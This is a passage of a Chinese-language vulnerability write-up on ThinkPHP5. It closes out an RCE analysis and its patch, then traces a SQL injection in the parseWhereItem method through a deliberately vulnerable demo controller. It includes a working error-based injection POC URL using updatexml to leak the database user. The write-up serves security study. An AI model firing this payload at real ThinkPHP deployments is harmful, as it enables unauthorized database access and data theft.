最后返回的需要進行一次過濾,不過大致查看能發現過濾字符基本為SQL注入的過濾,不是RCE的類型

image-20220325154001931

小節

不同的payload觸發流程不一樣,但是核心是一樣的。

任意方法調用發生在method(),變量覆蓋發生在__construct(),rce發生在filterValue()

img

補丁

官方的修復方法是:對請求方法 $method 進行白名單校驗。

image-20220325155247337

SQL注入漏洞分析

ThinkPHP5的SQL注入漏洞主要有以下幾類:

image-20220325162953159

漏洞分析均可在https://github.com/Mochazz/ThinkPHP-Vuln 找到。

這里以 parseWhereItem方法的SQL注入漏洞進行分析,其他不再展開。

SQL注入——Mysql 類的 parseWhereItem 方法

概述

本次漏洞存在於 Mysql 類的 parseWhereItem 方法中。由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生。漏洞影響版本: ThinkPHP5全版本

由於官方根本不認為這是一個漏洞,而認為這是他們提供的一個功能,所以官方並沒有對這個問題進行修復。

漏洞環境

ThinkPHP 5.0.10

配置數據庫:

image-20220325164136397

/application/database.php

image-20220325164245536

在index模塊下添加一個控制器:

/application/index/controller/Hello.php

<?phpnamespace app\index\controller;class Hello{    public function test()    {        $username = request()->get('username');        $result = db('user')->where('username','exp',$username)->select();        return 'select success';    }}

/application/config.php開啟app_debug (沒開啟 app_debug 是無法看到 SQL 報錯信息的)、app_trace(顯示SQL語句執行信息,便於調試)

image-20220325165732782

漏洞分析

POC:

http://127.0.0.1/thinkphp_5.0.10_full/public/index.php/index/hello/test?username=)%20union%20select%20updatexml(1,concat(0x7,user(),0x7e),1)%23

image-20220325170028158

下面跟一下流程:

打斷點,發POC

image-20220325174243881

程序默認調用 Request 類的 get 方法中會調用該類的 input 方法,但是該方法默認情況下並沒有對數據進行很好的過濾,所以用戶輸入的數據會原樣進入框架的 SQL 查詢方法中

image-20220325174442806

image-20220325174734265

在 SQL 查詢方法中,首先程序先調用 Query 類的 where 方法,通過其 parseWhereExp 方法分析查詢表達式,然后再返回

image-20220325174953804

然后繼續調用 select 方法准備開始構建 select 語句。

image-20220325175513615

image-20220325175920429

接着會調用 Builder 類的 select 方法,跟進

select 方法中,程序會對 SQL 語句模板用變量填充,其中用來填充 %WHERE% 的變量中存在用戶輸入的數據。

image-20220325180307976

我們跟進這個 parseWhere 分析函數,會發現其會調用生成查詢條件 SQL 語句的 buildWhere 函數。

image-20220325180409024

繼續跟進 buildWhere 函數,發現用戶可控數據又被傳入了 parseWhereItem where子單元分析函數。

image-20220325180552526

image-20220325180920401

跟進parseWhereItem

我們發現當操作符等於 EXP 時,將來自用戶的數據直接拼接進了 SQL 語句,最終導致了 SQL注入漏洞

image-20220325181154235

image-20220325181228009

image-20220325181339159

小節

最后,再通過一張攻擊流程圖來回顧整個攻擊過程。

(網圖)

5

(⭐)ThinkPHP5.0.24反序列化利用鏈

由於篇幅問題,下一篇文章展開。。。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM